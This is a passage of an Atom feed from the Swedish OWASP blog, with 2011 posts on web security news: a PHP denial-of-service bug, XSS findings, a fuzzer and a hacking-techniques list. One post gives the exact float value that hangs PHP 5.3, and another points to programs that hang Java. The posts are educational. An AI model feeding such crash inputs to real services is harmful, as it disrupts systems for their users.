https://bitbucket.org/johnwilander/dosjava&lt;br /&gt;&lt;br /&gt;Eller ladda hem en zip:&lt;br /&gt;&lt;a href="https://bitbucket.org/johnwilander/dosjava/downloads"&gt;https://bitbucket.org/johnwilander/dosjava/downloads&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;... och sen köra "java RunHang" för att hänga Java eller "javac CompilerHang.java" för att hänga kompilatorn.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-423847535543847442?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/423847535543847442/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=423847535543847442' title='3 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/423847535543847442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/423847535543847442'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/02/dosa-java-med-en-siffra.html' title='DoS:a Java med en siffra'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2617100392238606160</id><published>2011-01-23T22:41:00.000+01:00</published><updated>2011-01-23T22:41:37.469+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='utmaning'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Summit'/><title type='text'>JavaScript-utmaning inför OWASP Summit</title><content type='html'>Nyss offentliggjordes första rundan av vår officiella &lt;i&gt;OWASP Summit Challenge&lt;/i&gt; "makeXORbreak". Man ska skriva ett skript som visar sitt namn på sidan bättre (mer prominent) än medtävlarna. Fula tricks och bråk om DOM:en väntar.&lt;br /&gt;&lt;br /&gt;Läs allt och sätt igång på &lt;a href="http://makexorbreak.com/"&gt;http://makeXORbreak.com&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2617100392238606160?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2617100392238606160/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2617100392238606160' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2617100392238606160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2617100392238606160'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/javascript-utmaning-infor-owasp-summit.html' title='JavaScript-utmaning inför OWASP Summit'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2253699085851533796</id><published>2011-01-21T19:04:00.001+01:00</published><updated>2011-01-21T19:05:32.093+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS Rays'/><title type='text'>XSS-skanner som Chrome-tillägg</title><content type='html'>Gareth Heyes har släppt sin &lt;i&gt;cross-site scripting&lt;/i&gt;-skanner "XSS Rays" i ny version, denna gång som ett Google Chrome-tillägg. Läs om &lt;a href="http://www.thespanner.co.uk/2011/01/21/xss-rays-extension/"&gt;verktygets funktioner&lt;/a&gt; och &lt;a href="https://chrome.google.com/extensions/detail/kkopfbcgaebdaklghbnfmjeeonmabidj#"&gt;ladda ner tillägget&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://chrome.google.com/extensions/img/kkopfbcgaebdaklghbnfmjeeonmabidj/1295626373.26/screenshot/3001" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="220" src="https://chrome.google.com/extensions/img/kkopfbcgaebdaklghbnfmjeeonmabidj/1295626373.26/screenshot/3001" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2253699085851533796?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/2253699085851533796/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=2253699085851533796' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2253699085851533796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/2253699085851533796'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/xss-skanner-som-chrome-tillagg.html' title='XSS-skanner som Chrome-tillägg'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-5208428905926900853</id><published>2011-01-17T21:02:00.003+01:00</published><updated>2011-01-17T21:05:08.939+01:00</updated><title type='text'>Topp 10 Web Hacking Techniques 2010</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Jeremiah Grossman publicerade nyss &lt;a href="http://www.blogger.com/goog_1703840145"&gt;&lt;i&gt;Top 10 &lt;/i&gt;&lt;/a&gt;&lt;/span&gt;&lt;i&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://www.blogger.com/goog_1703840145"&gt;Web Hacking Techniques&lt;/a&gt;&lt;/span&gt;&lt;/i&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;i&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2011/01/top-ten-web-hacking-techniques-of-2010.html"&gt; 2010&lt;/a&gt;&lt;span class="Apple-style-span" style="font-style: normal;"&gt;&amp;nbsp;– d&lt;/span&gt;&lt;/i&gt;en årliga listan som röstas fram av communityn och sponsras av bland annat OWASP.&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://usenix.org/events/woot10/tech/full_papers/Rizzo.pdf"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;'Padding Oracle' Crypto Attack&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; (&lt;/span&gt;&lt;a href="http://netifera.com/research/"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;poet&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Padbuster&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://www.youtube.com/watch?v=yghiC_U2RaM"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;demo&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://threatpost.com/en_us/blogs/padding-oracle-crypto-attack-affects-millions-aspnet-apps-091310"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;ASP.NET&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Juliano Rizzo,  Thai Duong&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://samy.pl/evercookie/"&gt;Evercookie&lt;/a&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Samy Kamkar&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/08/breaking-browsers-hacking-auto-complete.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Hacking Auto-Complete&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; (&lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/07/i-know-who-your-name-where-you-work-and.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Safari v1&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/09/safari-autofill-hack-lives.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Safari v2 TabHack&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/07/in-firefox-we-cant-read-auto-complete.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Firefox&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://jeremiahgrossman.blogspot.com/2010/07/stealing-autocomplete-form-data-in.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Internet Explorer&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Jeremiah Grossman&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.youtube.com/watch?v=bt0Qh9c59_c"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Attacking HTTPS with Cache Injection&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; (&lt;/span&gt;&lt;a href="http://elie.im/talks/bad-memories"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Bad Memories&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Elie Bursztein, Baptiste Gourdin, Dan Boneh&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://blog.andlabs.org/2010/03/bypassing-csrf-protections-with.html"&gt;Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution&lt;/a&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Lavakumar Kuppan, Manish Saindane&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://p42.us/ie8xss/"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Universal XSS in IE8&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; (&lt;/span&gt;&lt;a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1489"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;CVE&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;, &lt;/span&gt;&lt;a href="http://bit.ly/fmSNzA"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;White Paper&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;),&amp;nbsp;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Eduardo Vela (sirdarckcat), David Lindsay&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; (thornmaker)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://www.darkreading.com/vulnerability-management/167901026/security/attacks-breaches/228000532/index.html"&gt;HTTP POST DoS&lt;/a&gt;&amp;nbsp;,&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Wong Onn Chee, Tom Brennan&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://www.aspectsecurity.com/tools/javasnoop/"&gt;JavaSnoop&lt;/a&gt;,&amp;nbsp;&lt;/span&gt;&lt;em&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Arshan&lt;/span&gt;&lt;/em&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; Dabirsiaghi&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://ha.ckers.org/blog/20100125/css-history-hack-in-firefox-without-javascript-for-intranet-portscanning/"&gt;CSS History Hack In Firefox Without JavaScript for Intranet Portscanning&lt;/a&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Robert "RSnake" Hansen&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://blog.mindedsecurity.com/2010/10/java-dsn-rebinding-java-same-ip-policy.html"&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;Java Applet&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt; &lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"&gt;&lt;a href="http://blog.mindedsecurity.com/2010/10/dns-rebinding-on-java-applets.html"&gt;DNS Rebinding&lt;/a&gt;,&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; font-style: italic;"&gt;Stefano Di Paola&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-5208428905926900853?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/5208428905926900853/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=5208428905926900853' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5208428905926900853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/5208428905926900853'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/topp-10-web-hacking-techniques-2010.html' title='Topp 10 Web Hacking Techniques 2010'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9205931800856110782</id><published>2011-01-14T13:01:00.002+01:00</published><updated>2011-01-14T13:05:23.602+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='svaga länken'/><title type='text'>Den svaga länken (rolig bild)</title><content type='html'>Det brukar ju inte vara en massa lustigheter på den här bloggen men ibland så. Tyckte nedanstående bild var rätt skoj. Antagligen ett arrangemang men ändå.&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_tONVxa3WGQM/TTA79a-gdqI/AAAAAAAAAbc/bNipxbpC-dg/s1600/weak_link.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="237" src="http://2.bp.blogspot.com/_tONVxa3WGQM/TTA79a-gdqI/AAAAAAAAAbc/bNipxbpC-dg/s320/weak_link.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Den svaga länken.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9205931800856110782?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9205931800856110782/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9205931800856110782' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9205931800856110782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9205931800856110782'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/den-svaga-lanken-rolig-bild.html' title='Den svaga länken (rolig bild)'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tONVxa3WGQM/TTA79a-gdqI/AAAAAAAAAbc/bNipxbpC-dg/s72-c/weak_link.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-1955671083157349749</id><published>2011-01-05T16:34:00.006+01:00</published><updated>2011-01-05T17:29:24.800+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='subnormala tal'/><title type='text'>DoS:a PHP med en siffra</title><content type='html'>Flyttalet 2.2250738585072011e-308 hänger PHP 5.3 och öppnar upp för enkla men effektiva DoS-attacker.&lt;br /&gt;&lt;br /&gt;Varför? Läs vidare.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Normala flyttal&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Ett 64-bitars flyttal representeras av en teckenbit, elva exponentbitar och 52 mantissabitar. Elva bitar till exponenten innebär att minsta tillåtna exponent är -1022 och den maximala är 1023.&lt;br /&gt;&lt;br /&gt;Ett så kallat &lt;i&gt;normalt&lt;/i&gt; flyttal karaktäriseras också av att första siffran i mantissan är skild från noll, t ex 6.008043e10. Om första siffran vore noll, t ex 0.540030002e13 så skulle ju talet kunna skrivas 5.40030002e12, dvs med femman först, tolv som exponent och man hade tjänat en siffras precision i mantissan. Därför har man också kunna tolka den första biten som implicit eller gömd. Alltså har man 53 bitars precision i mantissan.&lt;br /&gt;&lt;br /&gt;Det betyder att det minsta normala, 64-bitars flyttalet är binärt 1e-1022, decimalt 2.2250738585072010e-308.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Subnormala tal&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Vad händer om datorn får ett resultat som är mindre än 1e-1022? Tidigare så ledde det till &lt;i&gt;"flush to zero"&lt;/i&gt;, dvs resultatet blev noll. Men sen kom man på att till priset av förlorad precision (= mindre antal signifikanta siffror i mantissan) så kunde man fortfarande representera resultatet som ett flyttal. Tricket var att låta första biten i mantissan vara noll för dessa &lt;i&gt;subnormala&lt;/i&gt; tal! Exponenten representeras av bara nollor.&lt;br /&gt;&lt;br /&gt;Nu plötsligt kunde man representera tal som 0.0000000010111e-1022.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;&lt;b&gt;Subnormala tal och PHP&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Låt oss nu titta på det där talet som hängde PHP 5.3.&lt;br /&gt;&lt;br /&gt;2.2250738585072011e-308 = 0.1111111111111111111111111111111111111111111111111111 x 2^-1022&lt;br /&gt;&lt;br /&gt;I minnet representeras det av:&lt;br /&gt;Teckenbiten: 0&lt;br /&gt;Exponenten: 00000000000&lt;br /&gt;Mantissan: 1111111111111111111111111111111111111111111111111111&lt;br /&gt;&lt;br /&gt;Om ni räknar ettorna så ser ni att de är 52 till antalet. Tillsammans med den inledande nollan (implicit för 0-exponent) så fyller de hela mantissan på 53 bitar. Vi har alltså att göra med det största möjliga, subnormala flyttalet i ett 64-bitarssystem.&lt;br /&gt;&lt;br /&gt;Och det värdet &lt;a href="http://www.exploringbinary.com/php-hangs-on-numeric-value-2-2250738585072011e-308/"&gt;hänger tydligen PHP 5.3&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-1955671083157349749?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/1955671083157349749/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=1955671083157349749' title='1 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1955671083157349749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/1955671083157349749'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/dosa-php-med-en-siffra.html' title='DoS:a PHP med en siffra'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-9029309836271394374</id><published>2011-01-04T14:04:00.001+01:00</published><updated>2011-01-04T14:07:15.821+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PayPal'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><title type='text'>XSS via PayPal-betalningar</title><content type='html'>Ibland händer sånt som man normalt bara skämtar om. &lt;a href="http://owaspsweden.blogspot.com/2010/12/book-injection-helt-otroligt.html"&gt;&lt;i&gt;Book injection&lt;/i&gt;&lt;/a&gt; förra månaden var en sådan grej. Nu visar det sig att &lt;a href="http://www.securitypentest.com/2010/12/security-advisory-paypal-xss_10.html"&gt;meddelandefältet vid PayPal-betalningar tillåter JavaScript&lt;/a&gt;, dvs möjliggör &lt;i&gt;cross-site scripting&lt;/i&gt;. Man slutar aldrig att förvånas.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-9029309836271394374?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://owaspsweden.blogspot.com/feeds/9029309836271394374/comments/default' title='Kommentarer till inlägget'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4444008401857088382&amp;postID=9029309836271394374' title='0 kommentarer'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9029309836271394374'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4444008401857088382/posts/default/9029309836271394374'/><link rel='alternate' type='text/html' href='http://owaspsweden.blogspot.com/2011/01/xss-via-paypal-betalningar.html' title='XSS via PayPal-betalningar'/><author><name>John Wilander</name><uri>http://www.blogger.com/profile/12586406716617551079</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_tONVxa3WGQM/SoKElzN1hhI/AAAAAAAAAOo/6w0r1s-2Y1s/S220/090626-346-ed-sk.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4444008401857088382.post-2205360328580311666</id><published>2011-01-02T02:24:00.000+01:00</published><updated>2011-01-02T02:24:38.134+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Michal Zalewski'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet Explorer'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox. Chrome'/><category scheme='http://www.blogger.com/atom/ns#' term='WebKit'/><category scheme='http://www.blogger.com/atom/ns#' term='cross_fuzz'/><category scheme='http://www.blogger.com/atom/ns#' term='Safari'/><category scheme='http://www.blogger.com/atom/ns#' term='fuzzing'/><category scheme='http://www.blogger.com/atom/ns#' term='Opera'/><title type='text'>Ny fuzzer hittar 100 buggar i WebKit, FF, IE och Opera</title><content type='html'>Michal Zalewski (&lt;a href="https://twitter.com/#!/lcamtuf"&gt;@lcamtuf&lt;/a&gt;) släppte igår sin nya fuzzer &lt;a href="http://lcamtuf.coredump.cx/cross_fuzz/"&gt;cross_fuzz&lt;/a&gt;&amp;nbsp;som har hittat hundratalet buggar i alla de stora webbläsarna. Den åstadkommer sin magi genom att parse:a DOM:en i en flik, samla info om alla objekt, ändra egenskaper och anropa funktioner, sen stänga det dokumentet och använda de insamlade referenserna i en ny flik. Webbläsarna får typiskt problem med sin &lt;i&gt;garbage collection&lt;/i&gt;&amp;nbsp;där objekt överlever fast de inte ska och så vidare. Läs om algoritmen och buggarna på &lt;a href="http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html"&gt;hans blogg&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;En allvarlig del i det hela är att teamet bakom Internet Explorer inte patchat de buggar som är av säkerhetskaraktär. På sex månader. Michal publicerar en &lt;a href="http://lcamtuf.coredump.cx/cross_fuzz/fuzzer_timeline.txt"&gt;logg&lt;/a&gt; där man kan följa den frustrerade diskussionen med IE-folket. Börja läs vid &lt;i&gt;"1) July 26, 2010: original report to MSRC, noting multiple crashes and GDI&amp;nbsp;corruption issues. Acknowledged, case 10205jr."&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4444008401857088382-2205360328580311666?l=owaspsweden.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 